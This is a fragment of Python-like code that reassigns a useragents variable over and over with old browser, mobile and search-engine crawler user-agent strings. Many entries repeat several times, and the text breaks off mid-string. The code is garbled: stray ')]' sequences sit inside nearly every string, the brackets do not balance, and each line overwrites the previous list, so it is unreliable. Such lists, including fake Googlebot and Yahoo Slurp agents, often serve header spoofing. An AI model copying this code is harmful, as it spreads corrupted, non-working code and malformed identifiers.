[('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 